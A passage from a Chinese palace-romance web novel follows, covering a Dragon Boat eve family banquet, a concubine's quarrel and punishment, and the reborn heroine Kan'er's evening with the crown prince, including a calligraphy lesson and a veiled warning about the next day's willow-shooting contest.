一身青莲色八宝妆花的立领对襟长衫,配浅葱底绣鸾鹊花马面裙,牡丹髻上整套的赤金累丝嵌玛瑙头面。
端庄华贵的同时仪态万千。
甭管曹良媛她们对郑明芷的这场病如何猜测,面上都是一如既往的恭敬。
郑明芷的目光依次从向她行礼的四个女人身上扫过,也没多说别的。
只提醒她们要谨言慎行。
别在元淳宫做出不合规矩的事,她不希望看到谁在端午的当头生事。
说完,就率先走了出去。
紧接着是曹良媛、金承徽、秦昭训。
槛儿照例行在最后。
到了元淳宫,海顺领着人在门口迎接。
太子刚从书房出来,这会儿正在后寝殿更衣,海顺在同郑明芷几人见礼后直接将人迎进了正房的厅堂。
厅内膳桌早摆好了。
北面两张紫檀嵌金丝楠条案。
一张位于正中位置。
另一张在其左侧微微靠斜下方的位置,堂中左右两侧则分别摆着一张与三张较小些的黄花梨案桌。
郑明芷在北面靠左的那个位置落座,槛儿四人则跟请安时一样按位份入座。
曹良媛一个人在左侧。
金承徽、秦昭训和槛儿坐右侧。
有小太监进来奉上茶点。
大抵因为元淳宫的建造陈设比起后宅更庄重肃穆,就跟太子本人似的。
所以槛儿四人落座后都没有发出声音,只管规规矩矩地静候着太子。
郑明芷垂着眼,不知在想什么。
半刻钟后,太子来了。
槛儿几人齐齐起身绕过桌案见礼。
骆峋单手负后,另一手抬了抬。
“起。”
金承徽上一次见太子还是两个月前,如今见到人,她眼里的委屈几乎化为实质。
一行完礼。
她便嘟起嘴,娇滴滴地喊:“殿下……”
第35章 太子爷又翘嘴了!!
骆峋的目光在进门时落到了槛儿身上,脑海里还想着那只衔花的肥山雀。
此时听金承徽一唤。
他不禁敛起视线,径直朝主位行去。
金承徽媚眼抛了个空,更委屈了,回了位置都还在眼巴巴地盯着太子。
这种直白强烈的视线想忽视都难,骆峋不悦地蹙了蹙眉,微微侧目。
但也只睨了一眼。
他没忘记头一回涉足香叶轩与此女照面时,她那看他宛如看一块大肥肉的眼神。
骆峋不排斥有野心之人。
把野心摆在明面上亦并无不妥,前提是有足够的能力匹配自己的野心。
很显然。
金承徽的能力与她的野心不对等。
“摆膳吧。”
不再管那道视线,骆峋淡声道。
海顺领命宣膳。
金承徽委屈得眼睛都红了,却因为太子刚刚的那一眼不得不老实。
曹良媛忍笑,秦昭训沉默。
槛儿随她们一起看着太子的方向,刚巧男人的目光状似不经意投了过来。
四目相对。
都不需要槛儿做戏,这具身子便自发紧张害羞了起来,槛儿顺势低了低头。
她脸颊丰润,这么低头时从骆峋的角度瞧她的脸颊便像是呈轻微嘟起状。
配上浅浅红晕,在骆峋看来俨然就和那只衔花肥雀的小胖脸如出一辙。
骆峋暗咳。
拿拳微微抵唇,掩去唇角的弧度。
不多时,家宴正式开始。
太子平时在东宫用膳讲究食不言,但逢上这种宴席他也并非丁点儿人情都不通,一定要人守着这规矩。
当然,他还是沉默寡言的。
只偶尔在郑明芷、曹良媛、金承徽询问他意见时才会做出简单回应。
好在郑明芷与曹良媛都是习惯这种场合的人,金承徽又本就是个多话的。
三人或轮流向一家之主敬酒。
或围绕端午说些逸闻典故。
或相互打趣,看似玩笑实则是在嘲笑对方。
如此倒也没有冷场的时候。
此外,曹良媛和金承徽还不忘时刻做出自己最美的姿态向太子暗送秋波。
郑明芷则表现得像没有和太子发生过不快一般,偶尔用公筷给太子夹菜。
太子也很给她颜面。
没有当众拒绝。
至于吃不吃,那就另当别论了。
至于秦昭训和槛儿。
前者性格冷傲,除了涉及到自己的话题,其他时候她基本不会开口说话。
某些地方倒真和太子很像。
槛儿则纯粹在恪尽职守地扮演好宋昭训这个角色,不多话也不少言。
该跟着郑明芷她们笑时,她矜持掩唇浅笑,该她说话时她轻声细语地接话。
其他时候她则都在正儿八经地用膳。
每逢东宫办家宴,席上的膳食都是出自太子的专属灶,色香味自不必说。
上辈子槛儿参加家宴,从来都不敢吃太多,怕被曹良媛她们觉得她上不得台面,用个膳都跟饿死鬼投胎似的。
于是她悄悄跟她们学仪态。
一口菜分几口吃,吃一口过上半刻钟再吃第二口,喝汤一次只喝小半勺。
猪肥肉不吃,会胖。
猪瘦肉不吃,可能塞牙。
羊肉不吃,易上火。
鸡肉不吃,皮肤会糙。
海鲜不吃,嘴里易留腥味。
等等之类的。
等到一顿家宴结束,她们有没有吃饱槛儿不清楚,反正她没什么感觉。
另外因为她们吃得少、慢,到了中途桌上除汤以外的菜基本都凉透了。
夏天还好,冬天凉菜吃到嘴里。
那滋味,别提了。
而通常情况逢上这种宴席,膳房安排的膳食都是按人数定量定额的。
不存在再换一份热的上来。
说实话,槛儿真心佩服这些贵女们,尤其是要保持体态纤瘦的贵女。
有她们这份毅力恒心。
便是不当贵女,做别的一样能成功。
当然,佩服归佩服。
这辈子槛儿是决计不会再东施效颦了。
尽管她的吃相足够优雅,但郑明芷随意瞥了一眼,还是在心里冷嗤了一声。
上不得台面的东西!
宴罢,众人漱完口净好手。
太子不喜歌舞说书等娱乐活动,东宫亦没有负责这些的歌姬伶人,所以这顿家宴到这儿便结束了。
然而就在这时,本该领着槛儿她们行礼告退的郑明芷却坐在位置上没动。
“你们自行回去吧,我同太子有事要说。”
夫妻俩有话说,天经地义。
没有妾室置喙的道理,太子也不允许有谁当着他的面拈太子妃的酸。
于是槛儿四人毕恭毕敬地告了退。
等进了后院,金承徽才撅起嘴酸道:“能有什么事说啊,不都闹矛盾了吗?”
紫苏闻言差点没厥过去。
祖宗诶!
话是能这么说的吗!
别说今晚太子没表现出对太子妃的不满,便是人家两口子闹得撕破了脸。
也轮不到你一个妾在这儿嘚吧嘚吧啊!
秦昭训原本和金承徽一块儿走着,闻言默默跟这人拉开了距离。
“不会说话就闭嘴!”
曹良媛没好气道。
金承徽也意识到自己的那话不妥。
可她就是不爽!
她本来还想借家宴的机会在太子跟前露脸,然后让太子看在她这么娇美可爱的份上解了她的禁足。
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结果到头来根本没和太子说上几句话,今晚过后她还要继续禁足抄宫规!
一想到这,金承徽就一肚子的火!
她无视紫苏的拉扯。
猛地转身推了槛儿一把:“要不是你,我根本不会被罚,你这个扫把星!”
槛儿想着事儿呢。
被她这一推,脚下猝不及防一个趔趄。
幸好跳珠动作够快。
才避免了槛儿当场摔个屁股墩儿。
“金承徽,你适可而止!”
曹良媛厉声呵斥。
她倒是乐得看别人打起来,可她们刚从元淳宫出来,不远处都是值夜的宫人。
若是她就这么任由金承徽闹下去,事情传到元淳宫,太子会怎么想她?
“本来就是……”
金承徽撇嘴,声音里带着哭腔。
“如果不是她,我哪会被禁足三个月啊,这些天抄宫规抄得我手都起茧子了。”
曹良媛:“你……”
“要我提醒金姐姐被罚的原因吗?”槛儿站稳,眼底一丝冷意转瞬即逝。
没等金承徽开口。
她接着道:“姐姐如果忘了,那我们现在就可以去请殿下和太子妃评理,看究竟是我的错还是谁的错!”
槛儿没有贸然一下子就变得多强势。
可她的眼神很沉静,被路旁朦胧的亭灯一照,像蒙着一层清霜般的凉意。
曹良媛和秦昭训站的位置不一样,没看清槛儿的眼神,只当她是忍无可忍才壮着胆子说出这番话的。
但金承徽正对着槛儿。
她一眼就看清了对方眼里的凉意,那种风轻云淡又带着几分压迫感的凉。
这种眼神,她只在太子身上见过。
金承徽的背脊一冷。
可很快她就反应过来,意识到自己竟对一个奴才出身的贱婢生了俱意。
金承徽恼羞成怒。
当即扬起手要朝槛儿狠狠扇去,却是被跳珠轻轻松松扼住了手腕。
“承徽主子,请自重!”
金承徽瞪大眼,要冲跳珠发作。
“够了!”
曹良媛实在不想被这个蠢货连累。
“金承徽你再这么闹下去,我现在就回元淳宫禀明了殿下,请殿下做主!”
“请孤做什么主?”
蓦地,低冷的男声自拐角的假山旁响起。
包括槛儿在内的四人齐齐一怔,随即不约而同地转身循声望过去。
便见身着一袭玉白底绣祥云卧龙纹长袍的男人,从不远处负手而来。
他神情寡淡,眉眼清冷俊美,高大挺拔的身姿在夜色中更显气势慑人。
“殿、殿下,太子妃……”
金承徽看着太子和跟在他身后的郑明芷,花容失色,整个人都僵住了。
第36章 太子正在看她
一刻钟前,元淳宫。
确定曹良媛她们已经走远。
海顺把屋里的宫人都打发了出去,只他和太子妃身边的霜月留在屋里伺候。
片刻后,郑明芷打破沉默。
“殿下,上回的事是妾身糊涂,妾身已经知错了,还请殿下大人不记小人过。”
说着话,她放在膝上的手攥得死紧。
指甲几乎陷进掌心里。
她好歹也是家里千娇百宠着长大的。
打小没受过谁的气,没曾想一朝嫁进东宫,竟要这般对人低三下四。
天知道她是下了多大的决心,才说服自己对这人服软,说出的这番话!
而除了自尊折辱带给郑明芷的难受,还有眼前的男人本身也让她难受。
自打知晓自己有那样的癖好,她的身子便总会轻易克制不住地升起那等不可名状,且难以启齿的感觉。
尤其对外形好看的男人。
正如此时,琉璃宫灯将屋内照得亮如白昼,面前的男人坐姿随性不失优雅。
肩背挺直,猿臂蜂腰。
英挺的眉骨下双目深邃精致,雕刻般的鼻梁下薄唇粉润形状优美,一口茶水抿上去,唇上沾了水光。
随着他吞咽,那线条锋利的喉结上下滚动。
从家宴开始不久到现在,郑明芷一直在克制。
她对自己的癖好一直不以为意,不认为男人能三妻四妾,女子就必须守身如玉。
可郑明芷很不喜太子。
不喜他那么高高在上,目中无人,好似当她是阴沟里的污秽物的态度,而她的身子却对他起了欲念!
郑明芷不服,不甘!
骆峋没看郑明芷,他的视线落在门口。
“错哪了?”
郑明芷低头拭泪。
手帕上沾的辣椒水早干了,但并不妨碍她稍微熏一熏,眼泪就哗啦啦流。
“错在不该明知殿下英明神武,行事周全,还当着您的面班门弄斧,指手画脚。
错在不该明知宋昭训服侍了您,还小肚鸡肠瞧不上她的出身,对她言语羞辱。
更不该明知自己有错,还出言顶撞,妄图拿父皇来压您,都是妾身的错,妾身……”
说着,她像是说不下去了。
直接掩面呜呜哭了起来。
高门贵女出身,即便是哭也哭得高雅。
抽泣声娇细克制,脊背挺得笔直,唯有微微低垂的头颅显示着她此刻的示弱。
骆峋听着她的哭声,想笑。
但忍住了。
父皇为他和郑氏赐婚,是为压制东宫势力。
他需要这桩婚事来削减父皇的猜忌,而郑氏与郑家人有自己的野心。
所以他们各取所需。
所以在亲眼目睹了那场荒唐时,他没有感到愤怒,亦没有觉得郑氏那般便是对不起他,是对他的背叛。
没有情,便无所谓谁有愧于谁。
骆峋只觉得作呕。
但他没有废郑氏的打算。
没了郑氏,还会有李氏、王氏、孙氏。
父皇不想让他有一个有实权的岳家,那么不管赐婚的对象是谁结果都一样。
与其再来一个可能在东宫后院搅风弄雨的人,还不如让郑氏在这个位置继续待着。
同意郑氏寻人来替她承宠。
乃顺应局势的权宜之计。
东宫现下需要一个孩子,儿女不论,养在太子妃的名下最为妥当。
可郑氏千不该,万不该。
不该借打小昭训的脸,来打他的脸。
不该自以为他放任她在这个位置坐着,便到他跟前肆无忌惮地摆正妻的谱。
郑氏真知错了吗?
没有。
“知错便好。”
骆峋站起身,依旧没朝旁边看,“孤给你应有的体面,你亦不要得寸进尺。”
“妾身明白。”
郑明芷跟着站起来,破涕为笑道。
“妾身除了想同您认错,还有一事望殿下应允。”
“嗯?”
郑明芷擦干眼角:“明日端午宫宴,按惯例该妾身与曹良媛随您赴宴。
但咱们东宫的女眷原就不多,立春时节的宴上魏贵妃便借此对母后不敬。
妾身便想着明日把宋昭训带上,横竖不少人知晓您纳了新人,不如便带她出去露露脸,涨涨见识也好。”
“您以为呢?”
他不是要她做好太子妃的分内事吗,那她就能做得比他想的还要好!
只要她还在这个位置上,她就还有机会翻盘!她绝不会再给他废她的机会!
海顺立在一旁,暗暗摇头。
“可。”
骆峋略微颔首。
说完,人朝外走了。
郑明芷仿佛如释重负,迈开步子跟上去。
此时。
“这是怎么回事?”
郑明芷站到太子身旁。
看了眼惊慌失措的金承徽后,凌厉的视线在其他几人身上转了一圈。
“曹良媛,你来说。”
曹良媛暗恼。
早知道就该早些制止了,如今被撞了个正着,也不知太子会不会觉得她是故意纵容金承徽欺辱那姓宋的!
曹良嘴皮子利索,三言两语把事说清了。
当然是照实说的。
这自然不是为了帮槛儿,而是不远处有值夜宫人,金承徽也不值得她偏袒。
“金承徽,你还真是不长记性!”
郑明芷没好气斥道,看金承徽的眼神颇有主母对妾室的恨铁不成钢。
骆峋侧了侧目。
见槛儿眼里虽似含着泪光,却站得端正,没有因他的出现便面露委屈之态。
“殿下恕罪
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,太子妃恕罪!”
金承徽人都傻了。
没想到曹良媛竟就这么把她给卖了!
随即“扑通”跪了下去。
“妾身没有不服罚的意思,妾身、妾身知错了,妾身只是一时冲动才……”
“上回禁足了多久?”
骆峋睨着金承徽。
淡漠的语气乍一听不知是在跟谁说话,不过郑明芷还是立马反应过来。
“三个月,抄宫规百遍。”
骆峋:“再加三个月。”
郑明芷自然应下,扭头声音冷得掉渣。
“金承徽欺压内宅女眷,藐视宫规,屡教不改,禁足半年,再请个人好好教教她规矩,来人,带她回香叶轩!”
两个嘉荣堂的随行宫女走了出来。
“金主子,请。”
金承徽简直要疯了!
本来禁足三个月,罚俸一年,抄宫规百遍就够她受的了,现在居然成了禁足半年,还要让人来教她规矩!
选秀的时候她就学过一回规矩,那些个半截身子都快进土的老女人教起规矩来根本不管你什么出身!
当时她的小腿都被打肿了!
再来一回,还要禁足半年。
那等她解禁的时候她还有个人样吗?!
金承徽“哇”一声就哭了。
甩开宫女要拉她起来的手,蹭蹭蹭膝行到太子跟前,想要抱太子的腿。
结果还没来得及伸手便被海顺挡了回去,“金主子,还是自重些吧。”
说罢,又对那两个宫女道:“愣着做什么?还不把金主子请回去?”
俩宫女不敢磨蹭,赶忙上前拉金承徽。
金承徽同她们拉拉扯扯。
嘴里哭天喊地的:“殿下饶了妾身这一回吧,妾身再也不敢了还不行吗?!
姓宋的你说句话啊!你年纪轻轻怎么这么恶毒啊?都怪你都怪你,扫把星!”
槛儿抿抿唇,垂着眼帘。
骆峋眉头一皱。
海顺一个手势,立马上来人堵了她的嘴。
没多会儿,金承徽被带走了。
园子里重新安静下来。
曹良媛想说几句话,来向太子表示自己刚刚不是故意纵容金承徽欺负槛儿的。
只她刚准备开口。
便见太子抬手揉了揉眉心,嗓音很冷淡:“宋昭训留下,其余人自去。”
郑明芷眼底闪过讥诮。
秦昭训垂下眼,曹良媛嘴角的弧度僵了一瞬,旋即很快恢复如常。
“那妾身们就先告退了,殿下今晚喝了酒,宋妹妹一会儿替殿下按按头松快松快。”
说完,很是爽快地拉着秦昭训走了。
郑明芷模样温和地叮嘱了槛儿一番后也领着一行人,浩浩荡荡地走了。
槛儿抬起眼。
发现太子正看着她。
第37章 太子爷哄人:“你不胖,很好。”
凉风****,一轮蛾眉月高悬于空,有浅浅虫鸣从路旁的花丛中传来。
槛儿对太子独留下她,还是很乐见其成的。
这样她就能想办法让太子去她院里,然后用她早想好的借口提醒太子,让他当心明天的射柳活动。
或者他今晚不去她那边。
那她一会儿就借故提醒他,如此也不用等到明早送他们出门的时候做戏了。
这么想着。
槛儿轻轻咳了咳,款步行到太子跟前。
“殿下。”
骆峋此前不是没和槛儿站着说过话,但前面几回他的关注点都在别的事上。
此时看着小姑娘仰起的白净小脸,他才发现两人的身高竟差这么多。
他身高八尺有四,而她才将将及他胸口。
明明不是纤瘦堪怜的人儿,此时站在他面前却显得如此娇小玲珑,仿佛他两根手指就能将人拎起来。
嗯,思绪有些歪了。
骆峋抬手。
在槛儿簪着绢花发髻上摸了摸。
“可有吃饱?”
呃?
槛儿难得有些懵。
没想到太子开口竟会是这么贴近生活的话。
“饱,饱了。”
槛儿眨眨眼,不明就里地如实答道。
骆峋看着她懵懂迷茫的小表情,低笑了声,不过槛儿没看到他勾唇。
只听他鼻息重了一瞬,有气息落到她额角。
随即没等槛儿弄懂他在笑什么,就听男人用他那惯常清冷的声音说:
“也该饱了,比孤能食。”
槛儿:“???”
槛儿都惊呆了。
这还是上辈子这时候那个古板冷漠,从来不会跟人玩笑,高冷得像是不食人间烟火的太子爷吗?!
如果不是亲耳听到,她简直不敢相信这种调侃的话会从太子口中说出来!
等等。
他什么意思?
嫌她吃得多?
还是他跟金承徽一样。
也觉得她吃得多长得胖?!
槛儿有点没好气。
当即瞋了太子一眼,瞋完意识到自己这行为越矩了,她不由又瘪了瘪嘴。
“还不是殿下设的宴太好吃了,妾身没吃过,嘴巴自己就馋得慌了。”
心里则道,明明就是你们吃得太少!
再说她这身肉也不是吃出来的。
她天生就吃不胖瘦不了,在嘉荣堂做杂役那么苦的时候也没见她瘦!
骆峋沿着小径缓缓往不远处的湖边行,随口问:“膳房做的膳味道不好?”
槛儿落后于他侧后方一步的位置跟着,诚实道:“好,但比不得殿下的膳。”
她们的吃食出自膳房的公灶。
所谓公灶。
便是专门负责东宫后院所有妾室的吃食,吃什么都是照着各自的份例来安排。
没什么特别之处。
有宠在身就不说。
其他时候要想吃份例之外的或是想换个口味,通常都需要额外打点。
太子和郑氏则有各自的独灶,且负责料理他们膳食的掌勺品阶也更高。
所以跟太子的膳食比起来,槛儿吃的那些东西,味道自然就差了很多。
她上辈子喜欢吃太子以及后来庆昭帝的膳,重来一回她的口味也没变。
骆峋不知道小昭训心里的上辈子,吃惯了的东西他也没觉得味道有多好。
不过,想到她今日在席间吃得满足的小模样,骆峋觉得日后倒可以寻个时间去她院里同她用几顿膳。
“那你平时,岂不是未曾吃饱过?”
太子殿下面无表情地问。
槛儿:“……”
能不能不要把她想得多能吃似的!
她明明是正常食量!
槛儿真不想理他了。
可不理是不可能的,至少现在不能。
“自然是吃饱了的,膳房没有克扣妾身的份例,也没有把菜往难吃了做,只是跟殿下您的膳比不得罢了。”
还有一句槛儿没说,膳房做的膳可比她做杂役时吃的东西好了不知多少。
因为郑氏不喜她,庞嬷嬷不喜她。
所以其他人见风使舵,本来宫人们不算差的待遇,到了她这儿都变得差了。
但这话是万不能说的。
否则便有告状之嫌。
在宫里,轻易告状的人不值得信任。
不过槛儿没说,骆峋已然想到了。
同时见她微低着头,像是在羞恼什么,但又碍于他的身份不敢放肆。
历来无趣的太子爷忽然反应过来,貌似女子都不喜谈论这样的话题。
譬如说她们食得多,或者身形丰腴?
骆峋步子顿了顿,仍旧是那副冷脸:“能吃是福,以身子康健为重。”
又顿了顿。
“你不胖,
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很好。”
后面的海顺差点没一口笑喷出来。
他们家的殿下哟,什么时候这么跟姑娘家相处过哟,这会儿连哄人都不会。
幸亏慎王不在这儿。
否则指不定怎么笑话呢!
槛儿愣了愣。
也没想到太子会说出这样的话。
别看上辈子她被这人宠了那么多年,但因着她从一开始就打心底里畏惧他,加之总在意自己出身不好。
所以哪怕跟他做了夫妻,她对他也是敬畏居多,说话行事从来都小心翼翼。
而他呢。
随时随地都冷着张脸,哪怕他们做着最亲密的事,他也从没有哄过她。
说过半句软话。
幸好,她从不求他的情爱。
他们就那么看似鹣鲽情深地过了一辈子,如今不过是几句话的事……
他居然,在哄她?
“怎么?”
男人的声音拉回槛儿的思绪,她才发现自己原来不知什么时候停下来了。
对上他幽冷的眸光,槛儿满心复杂。
不想让他发现。
槛儿上前半步羞涩般偎到太子怀里,声音娇娇的:“殿下您真好。”
骆峋:“……”
骆峋环视四周。
见海顺他们都很识趣地低着头。
又抬头望了望天。
随即才迟疑地伸手虚虚揽住小昭训柔软的腰肢,嘴上却道:“下不为例。”
槛儿知道他重规矩。
不管榻上如何莽撞,像这种在外面搂搂抱抱拉拉扯扯的事,太子上辈子是决计做不出来的,也不准她做。
不过,感受着腰间那只大掌的温度。
槛儿恭顺地应着。
抓着男人衣襟的手却攥得更紧。
骆峋感觉到了。
也感受到了身前像是紧贴着一团饱满蓬松的棉花,软软绵绵,散发着幽香。
很不合时宜。
但刚开荤不久的太子确实被勾起了几分兴致。
可若就这么往她院里去,难免显得急色,太子爷自认不是急色之人。
于是,他任由槛儿偎了会儿后拍拍她的肩头,示意她松手,然后领着槛儿沿着园中溪流漫步了近一刻钟。
就在槛儿以为太子今晚不会去她那儿,准备寻个话头跟他提射柳的事时。
太子忽然转身,朝后院行去。
槛儿:“……”
第38章 太子:看她如此可怜,就纵她一回吧。
太子来了,瑛姑姑他们别提多高兴了,奉茶的奉茶,摆果子的摆果子。
弄完这些后众人自觉退到了屋外,随时准备抬水进屋供两位主子沐浴。
骆峋看在眼里。
抿抿唇,转身进了西边的书房。
槛儿哪知道矜贵的太子爷心里在坚持什么呢,见他今晚似乎别有兴致。
她也跟着进了书房。
骆峋环视一圈,没在书架上看到书。
倒是案上摆着笔墨纸砚。
想到小姑娘的出身,骆峋随手拿起那几张写了东西的纸看了看。
字迹秀气,但力不足形不成。
一看就是出自初学者之手。
但这位初学者很勤奋,进步也很大。
最底下的纸上还只是最为基础的笔画,渐渐能写成字,字迹从最初的一团墨逐渐演变成能看清写的什么。
“殿下,您别看了……”
槛儿也是见太子拿起她的“墨宝”才想起,自己为了能尽快光明正大地看书,所以秉着做戏做全套的想法。
这些天一直在让寒酥跳珠教她识字,让进宫前念过书的瑛姑姑教写字。
上辈子她偷偷学习,也是她们给启的蒙。
后来她靠自学。
练了一手漂亮的簪花小楷。
虽说是做戏,但此时当着太子的面槛儿还是有些臊,想把东西拿回来。
谁知被太子避开了。
“写几个字孤看看。”
骆峋绕过书案道。
槛儿不想写,怕被看出来是装的。
但太子都这么说了,槛儿也不好驳了他的意,只好假装哆哆嗦嗦写了两个字。
不过幸好她的这副身子这会儿本来就不会写字,装起来倒是像模像样的。
骆峋眼帘半掀。
朝槛儿脸上睇了一眼,见她黛眉微蹙神色认真,似在纠结要如何写。
他负手看了会儿。
从后面环住槛儿,握住那只拿笔的小手,指尖拨了拨槛儿的拇指和食指。
“五指齐力,令掌虚如握卵,不必太过刻意于笔杆发力,腕直不僵,此乃枕、此为提、此为悬,可明白?”
骆峋提手示范。
又抓着槛儿的皓腕点拨,低头问。
离得近了。
他身上淡雅的香牢牢将槛儿包裹着,低沉的嗓音说不出的迷醉蛊人。
“明白。”
槛儿将他的话听了进去,跟着调整手的姿势,仿佛真是一个初学者也似。
骆峋见她这般专注,眼神软了一瞬。
旋即握着槛儿的手。
在纸上写了个“東”字。
“运笔力要注于毫端,切忌涂扫,记住有提有按,乃字成形的关键。”
说话间,“東”字写好了。
为了照顾槛儿这个初学者,太子没写他擅长的篆行草,而是写了柳体。
柳体骨力鲜明,线条锐利爽劲。
经太子的手更显崩云惊电,矫若游龙,平添了一股雄伟霸气的磅礴感。
槛儿不是头一回见太子写字,却还是忍不住被他这一手的风骨震撼。
“殿下写得真好。”
她仰起头,真心夸道。
骆峋打小被不少人夸过,但那些称赞的话都是经人精心遣词造句过的。
像槛儿这般直白的夸法。
骆峋还是头一回听。
他不禁把目光移到她脸上。
见她莹白柔媚的小脸在暖黄灯光的笼罩下,仿若蒙上了一层朦胧薄纱。
清澈的眼里倒映着他的身影,满是对他的崇敬和认真,且不似作假,而她整个人是那么的温婉娴静。
宛如一池幽静的湖,让他的心不自觉跟着平静的同时莫名荡起一丝涟漪。
只是这圈涟漪太浅。
转瞬即逝。
骆峋移开眼,也松开了槛儿的手。
“学书次第,你无基础,便从大楷起始,孤幼时临摹过《敬斋箴》和《九成宫》,改日让人给你送几本来。
不过,写字当以认字为先,打好基础为首要,你这里的姑姑不是上过女学?
回头孤让人送些启蒙用的书来,都是孤幼年用过的,上面有批注。
你暂同你那姑姑启蒙,再慢慢**字,研习《增广贤文》、《朱子家训》此类读物。”
槛儿错愕,红唇翕了翕。
“您要将您用过的书给妾身,供妾身学习?”
骆峋:“有何不妥?”
没有不妥。
只是出乎槛儿的意料。
因为上辈子瑛姑姑她们也只会最基础的东西,写的字也是奇形怪状,所以槛儿那时候的学习很艰难。
可她不敢跟太子说。
因为她卑微的出身,因为她是他所有妾室里,唯一一个没有学问的人。
她觉得羞耻、觉得难堪。
太子那时又冷,她和他在一起除了做那事,他们之间能聊的东西少之又少。
等到她终于也敢和他坐在一起看书写字时,她的字已经写得很好了。
所以这会儿听他教她写字,听他说要把他幼年用过的东西送来供她学习。
槛儿就怔忪了。
“您,您不介意妾身没有学问吗?”
“为何要介意?”
骆峋下意识问。
槛儿喉头发哽,是这具身子的本能。
它本能地在自卑,在害怕。
“因为妾出身低微,妾不会认字,不会吟诗作对,不会画画,同您下不了棋。”
“您,不嫌弃吗?”
这些话,上辈子在槛儿心里藏
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了好多年。
奈何她没那胆子。
也是不想自取其辱。
后来年纪大了,她会看书写字了,这些念头渐渐就被她抛到九霄云外了。
但是很显然。
重活回来,身子的本能提醒了她。
也算是一种执念吧。
槛儿就是想听他亲口告诉她。
骆峋不明白小昭训眼里的悲伤,但他看出了她的忐忑、自卑和羞耻。
沉默片刻。
他道:“不嫌弃。”
“高者未必贤,下者未必愚,世人出身固然有高低之分,但人的才能与品性从来都不是以出身来定论。
好比糟糠不饱者不务粱肉,短褐不完者不待文绣,清贫人家衣食问题都难以解决,又如何追求华服美食?
诗词歌赋,琴棋书画乃文人雅士修身养性的必由之径,而非人生存必备之能。
你会刺绣洗衣,会烹调佐膳,足矣,孤不嫌你的出身,不嫌你不会识文断字,你亦大可不必为此而耿耿于怀。”
“明白?”
他的脸还是那么淡漠威严,宽慰的话从他口中出来也带着浓浓的压迫感。
像是在命令她必须听他的。
可他替她拭泪的动作很轻,掌心很暖。
槛儿便笑了,抱着他的手。
“明白了,谢谢殿下。”
骆峋不是很懂她眼中的感动,但想到她被金承徽欺辱,想她比他小六岁。
他似乎又有些能明白。
稍顷,骆峋略显僵硬地将人拥入怀中。
“别哭了。”
书房这样的地方本不该儿女情长。
罢。
看她如此可怜,便纵一回吧。
下不为例。
两刻钟后,卧房。
大抵是顾虑槛儿不久前那般伤怀,今晚的太子没有像前两回那般蛮横霸道。
不过不知是屋中太黑,不便于他视物。
还是因为别的。
他难得温柔的行举中似乎夹带了几分生疏,杂乱。
反倒是槛儿被吊足了胃口。
左右屋里一片黢黑。
加上难得听了他那么多宽慰话,在这种谁也看不清的环境中槛儿的胆子也变大了。
帐中充斥着太子愈发急促低沉的喘声,偶尔伴随一句不成调的“放肆”。
但每回都很快被转移注意力,然后太子便充分发挥了他敏而好学的能力。
等到终于停歇,谁都不想动。
槛儿趴在太子肩头,他抚着她的长发。
偶尔一个抬首,一个低头。
嘴唇碰到一起。
最后还是槛儿受不住给打住了。
她可没忘了正事。
得趁他还没走,赶紧说。
“殿下,您明日要参加射柳吗?”
第39章 贴贴,“殿下怎么知道!”
经她一说,骆峋忽然想起。
郑氏说明日带小昭训出席宫宴,不久前离开时却没听她向她提及此事。
是觉得他会告知。
还是……
“嗯,参加。”
昏暗里,骆峋的眼神藏着凉意。
槛儿抱紧他,故作天真:“那殿下一定很厉害,是不是每回都拔得头筹啊?”
“没有每回,孤有时不会参加。”
“那就是参加的时候每回都拔得头筹咯,殿下比话本里的男主人翁都厉害。”
骆峋微不可闻地哼笑了声。
只当她刻意讨好。
槛儿刚起了个头呢。
感受到他的鼻息也浑不在意,继续道:
“那话本里的男主人翁武艺高强,力可拔山举鼎,射柳时把葫芦射得粉碎。
里面的鸽子都被射成了重伤,殿下,你们射柳也会射伤鸽子吗?”
“不会。”
骆峋听着她的稚语。
难得心情好,也愿意同她多说几句。
“射柳意在祈福,多考验骑射技巧,装鸽子的葫芦经特殊工艺处理,箭矢也有经钝化,不会轻易伤到鸽子。”
槛儿恍然:“那是不是就算射柳的人力气很大,射破了葫芦后箭碰到了鸽子身上,箭头也不会重伤鸽子。”
“可能会伤到,但不会重伤。”
槛儿琢磨似的点点头。
“鸽子受伤的程度大概类似于妾身夜间睡迷糊了起来,脚趾撞到了床脚。”
骆峋:“……也许。”
他没被撞过,体会不到是哪种痛。
这时,怀里的人呢喃了一声。
“难怪呢……”
骆峋:“嗯?”
槛儿:“妾身忘了是在哪听的这个故事了,大致就是男主人翁是某个高门大户里的庶长子,他射柳时重伤鸽子,鸽子最终救治无效。
事后坊间有流言传出,说那少爷命中不详且心怀不轨,鸽子一事便是上天预警。
若他们家执意留他在家,整个家族今后都会遭受牵连,最终家破人亡。”
骆峋并没有因为槛儿说的是话本故事便爱答不理,听到此,他很配合地问了句。
“然后?”
槛儿就继续了。
“那家人表面看似没理会这些流言,但实际他们的当家人,也就是那少爷的爷爷,却把这事记在了心上。”
她没敢说爹。
怕指代得太明显,太子会起疑。
“过了一段时间,大少爷做了一件有利于家族的大事,很受族中人拥护。”
骆峋:“随后有人暗中构陷于他,家主心中更生猜忌,鸽子事件再次被提及。”
槛儿差点没被口水呛到。
装出吃惊来:“殿下您怎么知道!”
骆峋一低眼对上一双在黑夜里也亮晶晶的眼睛,他不由暗觉好笑。
高门大户。
最不缺的便是此等争权夺利之事。
皇家是其中的翘楚。
而他身在局中,对这些门道再熟悉不过。
“继续,还有吗?”
骆峋愿意听她说,便问道。
槛儿点头:“然后大少爷就开始各种调查,这段剧情比较长,妾记不太清了。
反正鸽子事件被调查出来了,原来葫芦里装的那只鸽子本身就奄奄一息。
是有人买通了负责安排射柳活动的人,往葫芦里装的伤鸽!”
骆峋猜到了。
槛儿语调气愤:“可没有证据您知道吗?最关键的人找不着!家主就觉得所谓的真相是大少爷自导自演。
鸽子事件最终成了给他定罪的一项把柄,家主偏听旁人,认为大少爷命中不详,有弑亲**之嫌,便打断大少爷的腿,将人逐出了家门!”
说完,她似是格外义愤填膺。
说到激动处还“腾”地坐起来,像是忘了自己此时身上什么遮挡物也无。
骆峋伸手将人拉回来,让她趴到他胸口。
“著书之人刻意将故事写得如此跌宕起伏,方才有人买账,无需较真。”
槛儿顺着他的话平复了会儿情绪,随即抓着他的手,终于步入了正题。
“殿下,宫里的射柳活动没事吧?”
骆峋感受到她微微瑟缩,像似在怕什么。
他不禁心思微转。
“怕孤遇上类似的事?”
槛儿搂紧他的脖子,依赖般蹭了蹭。
